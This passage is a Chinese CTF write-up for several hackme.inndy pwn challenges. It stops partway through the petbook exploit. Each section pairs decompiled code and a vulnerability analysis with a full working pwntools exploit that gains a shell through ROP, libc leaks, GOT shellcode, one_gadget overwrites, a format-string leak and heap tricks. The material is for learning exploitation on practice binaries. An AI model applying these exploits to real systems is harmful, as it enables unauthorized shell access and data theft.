接着上一篇,我们继续来看看hackme.inndy中的骚pwn题
rsbo1、2
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled***
PIE: No PIE (0x8048000)
这两题的文件都一样的,只不过cat到的flag不同
主要的漏洞点出在这里:
解法做法有很多,
第一种做法是,利用open,read,write函数把/home/ctf/flag
中的flag打印出来
第二种是直接getshell,得到/home/ctf/flag
的flag和/home/ctf/flagxxxxxxxx
的flag(分别对应rsbo1和rsbo2的flag)
用第一种方法的话
exp是这样的:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
#p = process('./rsbo1')
p = remote('hackme.inndy.tw', 7706)
elf = ELF('./rsbo1')
start = 0x08048490
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
log.info("open_plt -->[%s]"%hex(open_plt))
log.info("read_plt -->[%s]"%hex(read_plt))
log.info("read_plt -->[%s]"%hex(write_plt))
bss = elf.bss()
offset = 108
flag_add = 0x80487d0
payload = '\x00'*offset + p32(open_plt) + p32(start) + p32(flag_add) + p32(0)
p.send(payload)
payload1 = '\x00'*offset + p32(read_plt) + p32(start) + p32(0x3) + p32(bss) + p32(0x60)
p.send(payload1)
payload2 = '\x00'*offset + p32(write_plt) +p32(0xdeadbeef) + p32(1) + p32(bss) + p32(0x60)
p.send(payload2)
p.interactive()
这里有几点需要注意的:
- 程序中flag的路径是
/home/ctf/flag
,但我们本地是没有的,需要自己创建或者打path修改 - 注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3
- 在栈溢出填充ret_addr的时候,不能用main作为返回地址,要用start才能成功
- 在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏
用第二种方法一起搞定rsbo12的话,就需要直接getshell
getshell的话也有多种做法
下面这种是最简单的,直接用多次返回start,调用函数进行getshell
但这个问题就是,本地怎么打都不通,远程一打就通,醉了醉了
exp如下:
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip =""#hackme.inndy.tw
if ip:
p = remote(ip,7706)
else:
p = process("./rsbo1")
elf = ELF("./rsbo1")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
read_got = elf.got["read"]
bss =elf.bss()
write_libc = libc.symbols["write"]
start = 0x08048490
binsh_libc= libc.search("/bin/sh").next()
log.info("bss--->"+hex(bss))
payload ="\x00"*108+p32(write_plt)+p32(start)+p32(1)+p32(read_got)+p32(4)
sd(payload)
read = u32(p.recv(4))
log.info("read--->"+hex(read))
libc_base = read - libc.symbols["read"]
system_addr = libc_base +libc.symbols["system"]
sleep(0.5)
payload2 = "\x00" * 108 + p32(read) + p32(start) + p32(0) + p32(bss) + p32(9)
payload3 = "\x00" * 108 + p32(system_addr) + p32(start) + p32(bss)
sd(payload2)
sl("/bin/sh\0")
sd(payload3)
getshell()
第二种方法就是用栈迁移和_dl_runtime_resolve的方法,有的大佬用的是这种方法,网上搜一下应该能找到的
ps:寻找常用rop gadget 的命令:
'''
ROPgadget --binary ./rsbo1 --only "mov|xor|pop|ret|call|jmp|leave" --depth 20
Gadgets information
============================================================
0x080483b0 : call 0x80484c6
0x080484f6 : call eax
0x08048533 : call edx
0x08048883 : jmp dword ptr [ebx]
0x080484f8 : leave ; ret
0x080481a8 : mov ah, 0xfe ; ret
0x08048557 : mov al, byte ptr [0xc9010804] ; ret
0x080484f3 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048530 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048554 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048528 : mov dword ptr [esp + 4], eax ; mov dword ptr [esp], 0x804a040 ; call edx
0x08048578 : mov dword ptr [esp], 0x8049f10 ; call eax
0x080484ef : mov dword ptr [esp], 0x804a040 ; call eax
0x0804852c : mov dword ptr [esp], 0x804a040 ; call edx
0x0804872e : mov eax, 0 ; leave ; ret
0x080484c0 : mov ebx, dword ptr [esp] ; ret
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1
Unique gadgets found: 24
'''
leave_msg
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found****
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments****
这题算是有点骚东西的题吧,首先他有几个段是有rwx权限的,首先可能想到的是会用到shellcode
主要就只分析main函数就行了:
int __cdecl main()
{
int v0; // eax
signed int i; // [esp+4h] [ebp-424h]
int index; // [esp+8h] [ebp-420h]
char nptr; // [esp+Ch] [ebp-41Ch]
char buf; // [esp+1Ch] [ebp-40Ch]
char v6; // [esp+24h] [ebp-404h]
unsigned int v7; // [esp+41Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
while ( 1 )
{
v0 = num++;
if ( v0 > 2 )//只能输入三次
break;
puts("I'm busy. Please leave your message:");
read(0, &buf, 0x400u);
puts("Which message slot?");
read(0, &nptr, 0x10u);
index = atoi(&nptr);
if ( strlen(&buf) > 8 )//strlen函数遇到\0就停止计算长度,可通过输入\0绕过
{
puts("Message too long, truncated.");
v6 = 0;
}
if ( index <= 64 && nptr != '-' )
//atoi函数导致index仍然可以为负数,只需要输入“ -x”,
//atoi会跳过字符串前面的空格或者换行符,直到遇到数字才进行转换
list[index] = strdup(&buf);
//strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块
//接着把堆地址赋值给list[index]
else
puts("Out of bound.");
}
puts("Here is your messages:");
for ( i = 0; i <= 63; ++i )
{
if ( list[i] )
printf("%d: %s\n", i, list[i]);
}
puts("Goodbye");
return 0;
}
由此可以见,0x804a000--0x804b000居然是可以执行的,这里有个骚的地方是,可以在got表写入可执行的代码,在调用某个函数的时候就可以间接执行你的shellcode,但是这里限制了8个字节的长度,那么可写入的shellcode就有限了,仅能做间接跳转使用
这题的思路是这样的:
1、由于存在数组负数越界,就可以往got表修改内容,将got表改成一段汇编指令
2、由于可以绕过8字节检查,通过添加\0把shellcode写进栈里面
3、通过got表中的汇编指令,执行shellcode
首先构造一个输入:"a"*8+"\x00"+"b" * 8
这样可以让"a"*8
被存入puts的got表中,同时绕过八个字节长度的限制,将"b" * 8写入栈中
接下来就是调试,我们需要调试出"b" 8到esp的距离,从而写一条这样的指令add esp,xxx;jmp esp;
让程序的执行流程到"b" 8的地方
在第一次输入后的,再第二次call puts函数前下个断点:0x0804861d
在此处下断点,可以得到我们想要看到的栈布局,从而计算出字符串离esp的偏移
si进入call puts:
这里我们就可以看到:输入的字符串离esp的偏移是0x30,如果puts的got表中的内容是add esp,0x30;jmp esp;
那么这里call puts的时候就会直接执行这条语句,导致esp的位置指向输入字符串buf的位置
要指向shellcode的话就往下移动 len(jump)+1,就可以指向shellcode了
这题的主要难点应该是需要绕过平常做题的思维局限,got不一定得写地址,在特定的条件下还能写shellcode进行执行,另外就是调试的要熟练,才能找出0x30的偏移
exp:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./leave_msg"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7715)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
def getshell():
p.interactive()
#-------------------------------------
shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x36;jmp esp;")
sda(p,"I'm busy. Please leave your message:\n",jump+"\x00"+shellcode)
sda(p,"Which message slot?"," -16")
getshell()
stack
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这保护全开,有点少见
这是一个模拟栈的pop和push操作的程序:
主要用到的就是pop函数和push函数:
int __cdecl stack_pop(_DWORD *a1)
{
*a1 += &unk_1FBF + 0xFFFFE040;
return *(&dword_1FC4[-2032] + &a1[*a1]);
}
int __cdecl stack_push(int *a1, int a2)
{
int result; // eax
result = *a1;
*a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
a1[result + 1] = a2;
return result;
}
但是反编译出来的东西有点迷,不太助于分析,直接看汇编:
.text:00000717 public stack_pop
.text:00000717 stack_pop proc near ; CODE XREF: main+10C↓p
.text:00000717
.text:00000717 arg_0 = dword ptr 8
.text:00000717
.text:00000717 ; __unwind {
.text:00000717 push ebp
.text:00000718 mov ebp, esp
.text:0000071A ; 2: *a1 += &unk_1FBF + 0xFFFFE040;
.text:0000071A call __x86_get_pc_thunk_ax
.text:0000071F add eax, 18A1h
.text:00000724 mov eax, [ebp+arg_0]
.text:00000727 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000729 lea edx, (unk_1FBF - 1FC0h)[eax]
.text:0000072C mov eax, [ebp+arg_0]
.text:0000072F mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
.text:00000731 ; 3: return *(&dword_1FC4[-2032] + &a1[*a1]);
.text:00000731 mov eax, [ebp+arg_0]
.text:00000734 mov edx, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000736 mov eax, [ebp+arg_0]
.text:00000739 mov eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]
.text:0000073D pop ebp
.text:0000073E retn
.text:0000073E ; } // starts at 717
.text:0000073E stack_pop endp
-----------------------------------------------------------------
.text:000006F0 public stack_push
.text:000006F0 stack_push proc near ; CODE XREF: main+DC↓p
.text:000006F0
.text:000006F0 arg_0 = dword ptr 8
.text:000006F0 arg_4 = dword ptr 0Ch
.text:000006F0
.text:000006F0 ; __unwind {
.text:000006F0 push ebp
.text:000006F1 mov ebp, esp
.text:000006F3 ; 4: result = *a1;
.text:000006F3 call __x86_get_pc_thunk_ax
.text:000006F8 add eax, 18C8h
.text:000006FD mov eax, [ebp+arg_0]
.text:00000700 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000702 ; 5: *a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
.text:00000702 lea ecx, (_GLOBAL_OFFSET_TABLE_+1 - 1FC0h)[eax]
.text:00000705 mov edx, [ebp+arg_0]
.text:00000708 mov [edx], ecx
.text:0000070A ; 6: a1[result + 1] = a2;
.text:0000070A mov edx, [ebp+arg_0]
.text:0000070D mov ecx, [ebp+arg_4]
.text:00000710 mov [edx+eax*4+4], ecx
.text:00000714 ; 7: return result;
.text:00000714 nop
.text:00000715 pop ebp
.text:00000716 retn
.text:00000716 ; } // starts at 6F0
.text:00000716 stack_push endp
pop函数中:mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
可以发现pop函数在进行操作的时候,实际上是以edx的值为基准的
在push函数中:mov [edx+eax*4+4], ecx
,同样的,push操作也是和edx有关
进行gdb调试看看到底是怎么样:
在进入pop函数前下断点.text:00000717 push ebp
可以发现,【eax-1】是代表了进行pop操作的下标-1,而下标索引值又赋值给了edx,最后edx又存到了【eax】的地方:
由此可见,0xfffc7548存着索引的值
si一步步执行
继续跟进,看看执行push函数的时候发生了什么
在进入push函数前下断点:.text:000006F0 push ebp
同样的对下标进行了+1的操作,接着ecx存储着索引,ecx为1,接着会发现,ebp+0xc的位置的值竟然被赋值给了ecx,接着ecx就被赋值到了【edx+eax*4+4】的地方去
而【edx+eax*4+4】的地址恰好就是0xfffc7548!也就是说pop和push函数用的下标索引的地址是同一个,那么
如果先pop一下,再push(n),再一次pop的时候,就能把下标为n的地方的内容给pop出来
改变了pop和push的索引基准,之后的每一次pop或者push,都会在n的基础上进行
接下来的利用思路就简单了,就是找到这个n,把main函数的ret地址给pop出来,泄漏一波得到libc的偏移,从而可以得到onegadget地址,接着再push(onegadget)把main的返回地址改成one更好,就能实现getshell了
那么怎么找到这个n的具体的值?
在main函数的结尾处的.text:00000916 retn
下一个断点,来看看main将要结束时候的栈布局
发现,main在退出的时候,返回地址是0xfffc76bc
从而算出:
0xfffc76bc-0xfffc7548 = 0x174
0x174/4 = 0x5d
那么这个n就是0x5d,也就是93了
接下来的操作就是首先pop()一下,push(93),pop()一下泄漏出__libc_start_main+247的地址,从而得到libc基址
,也就能求出onegadget,这时在push(onegadget),然后输入x退出程序就能getshell了
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from os import *
context.log_level = "debug"
bin_elf = "./stack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7716)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def getshell():
p.interactive()
#--------------------------------------------
def push(num):
ru("Cmd >>\n")
sl("i "+str(num))
def pop():
ru("Cmd >>\n")
sl("p")
ru("Pop -> ")
val=ru('\n')[:-1]
print val
print "pop-->"+hex(int(val)&0xffffffff)
return int(val)&0xffffffff
def exit():
p.sendline('x')
#gdb.attach(p)
pause()
pop()
push('93')
libc_base=pop()-libc.symbols['__libc_start_main']-247
one = libc_base+0x5fbc5#远程端:0x5faa5
push(str(one- (1<<32)))
ru("Cmd >>\n")
sl("x")
getshell()
这题的重点还是在于调试,跟着汇编看流程,做这题深刻意识到了IDA不是万能的,反编译出来的汇编指令跟gdb动态调试的居然会不同orz
very_overflow
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了个nx,看到这熟悉的菜单选择功能,还以为是一道堆的题目,但实际上不是,是一个在栈上操作一个结构体的题
void vuln()
{
NOTE buffer[128]; // [esp+1Ch] [ebp-420Ch]
int loop_switch; // [esp+421Ch] [ebp-Ch]
loop_switch = 1;
memset(buffer, 0, 0x4200u);
while ( loop_switch )
{
switch ( choose() )
{
case 1:
add_note(buffer);
break;
case 2:
edit_note(buffer);
break;
case 3:
show_note(buffer);
break;
case 4:
dump_notes(buffer);
break;
case 5:
loop_switch = 0;
break;
default:
puts("Invalid option!");
break;
}
}
}
结构体:
struct NOTE {
struct NOTE* next;//指向下一个note
char data[128];
};
这个结构体在栈上面分布,由于没有限制note的数量,一开始的想法是想疯狂add,一直爆到他栈底的返回地址附近,但发现栈的大小是0x420c,这就太大了,不好操作
add(“aa”)一下,随便添加一个note,进入gdb看看情况
通过show(0)的功能,可以看到note的next,也就可以泄漏出note结构体的存储地址
这里可以看到我们创建的第一个note在栈里面的情况,首先存储了next,接着就是data的内容,而根据next的计算方法:node->next = (node + strlen(node->data) + 5)
可以看到note0的next是0xffe8b514,刚刚好指向了data后面的一个字的位置
又根据程序的edit函数:
void __cdecl edit_note(NOTE *node)
{
int v1; // ST04_4
NOTE *nodea; // [esp+30h] [ebp+8h]
printf("Which note to edit: ");
v1 = read_integer();
nodea = find_node_by_id(node, v1);
if ( nodea )
{
printf("Your new data: ");
fgets(nodea->data, 128, stdin);
puts("Done!");
}
}
发现可以溢出修改note0的data,从而可以修改note0的next所指向的地方,这样一来也就可以自己伪造note了
接下来再看看,note0往下0x4200位置的地方是什么东西:
可以看到,这下面就是main函数的返回地址,这样一来利用的思路就很清晰了,先通过伪造note,把next一直指向到__libc_start_main+247
,然后通过show,把他的地址给泄漏出来,从而得到libc
接着再使得next指向(__libc_start_main+247)-0x8
的位置,这时再添加新的note,就会改变__libc_start_main+247
的值(改为onegadget),在程序正常退出的时候就会改变程序的执行流程从而getshell
这里有个小细节需要注意的:
show函数是根据id来show出内容的,因此需要注意得看dump函数中的id,以确定需要泄漏的note在哪个位置
而add函数则是 通过node->next和 node->data[0]来添加新的note的
exp如下:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./very_overflow"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7705)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def add(contant):
sla(p,"Your action: ","1")
sla(p,"Input your note: ",contant)
def edit(index,contant):
sla(p,"Your action: ","2")
sla(p,"Which note to edit: ",str(index))
sla(p,"Your new data: ",contant)
def show(index):
sla(p,"Your action: ","3")
ru("Which note to show: ")
sl(str(index))
def show_all():
sla(p,"Your action: ","4")
gdb.attach(p)
pause()
add("aa")
show(0)
ru("Next note: 0x")
note = int(p.recv(8),16)
print "next note is-->",hex(note)
pause()
edit(0,"a"*4+p32(note+0x4200-0x20))
pause()
add("b"*2)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40+8))
pause()
show(4)
ru("Next note: 0x")
libc_main = int(p.recv(8),16)
libc_base= libc_main-0x18637
#这个地方有点迷,泄漏出来是实际上应该是__libc_start_main_ret
#但libc.symbols会提示找不到符号
#去libcdatabase查了一波,得到了0x18637的偏移
one = libc_base+0x5fbc5#远程端:0x5faa5,本地:0x5fbc5
print "onegadget---->",hex(one)
print "libc_base-->",hex(libc_base)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40))
pause()
add(p32(one)*2)
sla(p,"Your action: ","5")
getshell()
做完这题后去查了别的师傅的wp,发现他们的做法都不一样,有的是改got表的操作,有的是return2dl_resolve的操作,真是太秀了,他们的wp在网上搜一下也很容易找到
notepad
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
常规保护机制nx+canary
这是一道堆漏洞利用的题目,题目逻辑略显复杂,但大部分都是花里胡哨的没用的逻辑,进去会先看到一个菜单,直接进入notepad进行分析,其他的都是没用的
首先看这个
int notepad_new()
{
char *v1; // eax
char *v2; // ST1C_4
char **v3; // [esp+4h] [ebp-14h]
signed int n; // [esp+8h] [ebp-10h]
v3 = notepad_find_slot();
if ( !v3 )
return puts("space is full");
printf("size > ");
n = readint();
if ( n <= 0 || n > 0x400 )
return puts("invalid size");
v1 = malloc(n + 16);
v2 = v1;
*(v1 + 3) = n;
*(v1 + 2) = 1;
*v1 = notepad_show;
*(v1 + 1) = notepad_destory;
printf("data > ");
fgets(v2 + 16, n, stdin);
*v3 = v2;
return printf("your note id is %d\n", (v3 - notes) >> 2);
}
可以看到,new函数,可以分配0x10~0x410大小的chunk,在chunk中有以下结构:
struct note{
notepad_show *notepad_show;//存储一个函数指针,用于输出内容chunk
notepad_destroy *notepad_destroy;//存储一个函数指针,用于清空data
int flags;//标记,判断是否可以open进行编辑
int n;//data数组的大小
data[n]//note的内容
}
这个程序大量使用了函数指针的方式,这就有可能造成函数指针窜用的漏洞
继续看open函数:
unsigned int notepad_open()
{
int v0; // ST1C_4
int *v2; // [esp+4h] [ebp-1024h]
int v3; // [esp+8h] [ebp-1020h]
const char *v4; // [esp+10h] [ebp-1018h]
const char *v5; // [esp+14h] [ebp-1014h]
int v6; // [esp+18h] [ebp-1010h]
char s; // [esp+1Ch] [ebp-100Ch]
unsigned int v8; // [esp+101Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
v2 = notepad_choose();
if ( v2 )
{
v3 = *v2;
puts("note opened");
if ( *(v3 + 8) && yes_or_no("edit") )
{
printf("content > ");
fgets(&s, 0x1000, stdin);
strncpy((v3 + 16), &s, *(v3 + 12));
puts("note saved");
}
v4 = "show note";
v5 = "destory note";
v6 = 0;
v0 = menu(&v4);//看下面menu函数的具体实现
(*(v3 + 4 * (v0 - 1)))(v3);//这里可以造成后一个chunk非法访问前一个chunk的内容
puts("note closed");
}
return __readgsdword(0x14u) ^ v8;
}
int __cdecl menu(int a1)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; *(4 * i + a1); ++i )
printf("%c> %s\n", i + 97, *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';//仅仅简单的相对应‘a’进行判断,如果输入比‘a’小的字符一样可以通过检验
freeline();
if ( v3 < i )
result = v3 + 1;
else
result = 0;
return result;
}
通过上的分析,我们可以通过构造chunk的内容来实现改变程序流程
思路是这样的:
假设有chunk0和chunk1,使得chunk0的data的最后一个字长内容为一个函数puts的地址,然后在open chunk1,再选择 “show note destory note"的时候输入”^”(也就是ASCII的94)
那么,当执行到(*(v3 + 4 * (v0 - 1)))(v3);
的时候,就是执行函数puts(v3),通过这样一种方式实现了改变执行流程执行了其他的函数
这里可以做到执行任意地址,但是参数v3还没法控制,默认还是一个堆的地址,这个时候就需要用到堆的overlap的操作,先free chunk0和chunk1,再重新分配使得chunk1的内容可以任意改,从而控制参数的内容
exp如下:
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./notepad"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.i386")
p = remote("hackme.inndy.tw",7713)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def new(size,content):
ru("::> ")
sl('a')
ru("size > ")
sl(str(size))
ru("data > ")
sl(content)
def open_edit(index,content,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
ru("edit (Y/n)")
sl("y")
ru("content > ")
sl(content)
ru("::> ")
sl(choose)
def open_not_edit(index,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
sl("n")
ru("::> ")
sl(choose)
def delete(index):
ru("::> ")
sl('c')
rc()
sl(str(index))
def setread(index):
ru("::> ")
sl('d')
rc()
sl(str(index))
def keepsec(index):
ru("::> ")
sl('e')
rc()
sl(str(index))
gdb.attach(p)
sp()
sla(p,"::> ","c")
new(0x60,"aaaa")#chunk0
new(0x60,"bbbb")#chunk1
new(0x60,"cccc" )#chunk2
payload = "a"*0x5c + p32(elf.symbols['free'])
open_edit(0,payload)
open_edit(1,"bbbb",'^')#'a'-3 = 97-3='^'
delete(0)
print "printf------------------->",hex(elf.plt['printf'])
payload1 = "a" * 0x5c + p32(elf.plt['printf'])
payload1 += "a"*8 + "%1063$p\x00"#泄露出main的返回地址
new(0xe0 - 16,payload1)
sp()
open_not_edit(1,'^')
sp()
leak = int(p.recv(10),16)
print "leak-------->",hex(leak)
libc_base = leak - 0x18637#__libc_start_main_ret偏移
print "libc_base----------->",hex(libc_base)
system = libc_base+libc.symbols['system']
print "system 0ffset--------->",hex(libc.symbols['system'])
print "system --------->",hex(system)
delete(0)
payload2 = 'a'*0x5c + p32(system)
payload2 += "a"*8 + '/bin/sh\x00'
new(0xe0 - 16,payload2)
open_not_edit(1,'^')
getshell()
这里需要注意的是的,通过调用printf(%1063$p)泄漏出的main函数的返回地址,从而泄漏了libc,这个1063是通过调试得来的,在执行open_not_edit(1,'^')
之前,往printf函数下个断点,在执行printf(%1063$p)之前查看栈的情况,发现0xff952cb0是存储格式化字符串参数的地方
那么疯狂往下找main函数的返回地址,发现在0xff953d4c处可以泄漏出__libc_start_main+247
从而计算出偏移的位置是1063或者1067
另外这题用onegadget似乎不行,只能老老实实构造system(/bin/sh)
petbook
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled //查了一波这个保护机制,发现卵用不大,对解题无影响
这题的逻辑稍微复杂,首先让你进行登录,如果没有账号的话就需要去注册一个账号
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
if ( syscall(318LL, &magic, 4LL, 0LL) != 4 )
{
puts_0("Can not generate random");
exit(1);
}
srandom(magic);
v3 = base64_table;
do
{
v4 = random();
v5 = *v3;
v6 = v4 % 64;
*v3 = base64_table[v6];
base64_table[v6] = v5;
++v3;
}
while ( v3 != &aBcdefghijklmno[63] );
while ( 1 )
{
while ( 1 )
{
v7 = main_menu();
if ( v7 != 2 )
break;
user_login();
}
if ( v7 == 3 )
exit(0);
if ( v7 == 1 )
user_reg();
else
puts_0("Invalid option");
}
在注册账号的时候,会有一个用户的结构体:
这是我用IDA自己创建的,方便逆向理解
00000000 USER struc ; (sizeof=0x218, mappedto_9)
00000000 uid dd ?
00000004 name db 256 dup(?)
00000104 pwd db 256 dup(?)
00000204 flag dd ?//用于标识是否为管理员用户
00000208 pet dq ? ; offset
00000210 post dq ? ; offset
00000218 USER ends
这些结构体的成员都存在一个堆块里面
注册成功后登录,进入用户界面:
用户有写post、查看post内容,编辑post,改密码,领取pet,给pet改名,丢弃pet的功能,
然后pet也有一个对应的结构体:
00000000 PET struc ; (sizeof=0x14, mappedto_10)
00000000 pid dq ?
00000008 petname dq ? //存储指向petname的堆地址
00000010 pet_type db 4 dup(?)
00000014 PET ends
这题除了逻辑比较复杂,还存在很多的堆的创建和时候,我们来理一下:
- 注册用户的时候,创建大小为0x218的堆块来存储用户信息
- 创建post的时候,创建0x110的chunk用于存储uid、title、post指针,创建任意大小的chunk存储post内容
- 领取pet的时候,创建0x10001的chunk存储pet的名字,创建0x18的chunk存储pet的uid和name的指针和type
总结来说就只有post的时候是可以控制创建任意大小的chunk 的
再来看看哪些地方有free 掉chunk的操作:
- 在edit post的时候,如果编辑的size大于原来的,那么realloc函数就会把原来的post所在的chunk给free掉重新生成大的chunk存储post的内容
- 在 abandon pet的时候,会把存储pet的信息的chunk给free掉,同时清空user的pet成员
通过上面的分析,不难看出,我们的利用点主要是edit post操作,如果创建一个0x218的post,接着edit它,将size改大,那么这个0x110的chunk就会进入unsorted bin ,这个时候如果进行注册user,那么user的结构体的各个成员就能预先设定好,从而有操作的空间
核心的思路就是:通过构造post,然后在edit post使得post内容的chunk进入unsorted bin,接着新建用户,操作user结构体的各个成员,伪造pet的chunk和内容,达到任意读写的目的
由于本题中有很多这样的magic的检查:
if ( (magic ^ *current_user) & 0xFFFF0000 )
{
puts_0("corrupted object detected");
exit(1);
}
因此我们要写泄漏出magic来,才能方便进行操作
分四步走:
- 第一步:通过post伪造user,泄露出堆基地址
- 第二步:伪造pet,泄露出puts,从而泄露libc
- 第三步:泄露出magic,绕过检查,修改free的got表为system
- 第四步:通过free(/bin/sh\x00)来getshell
exp如下
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./petbook"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.x86_64")
p = remote("hackme.inndy.tw",7710)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc():
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def register(name,pwd):
sla(p," >>\n","1")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def login(name,pwd):
sla(p," >>\n","2")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def exit():
sla(p," >>\n","0")
def post(title,length,content):
sla(p," >>\n","1")
sla(p," >>\n",title)
sla(p," >>\n",str(length))
sla(p," >>\n",content)
def edit_post(id,title,size,content):
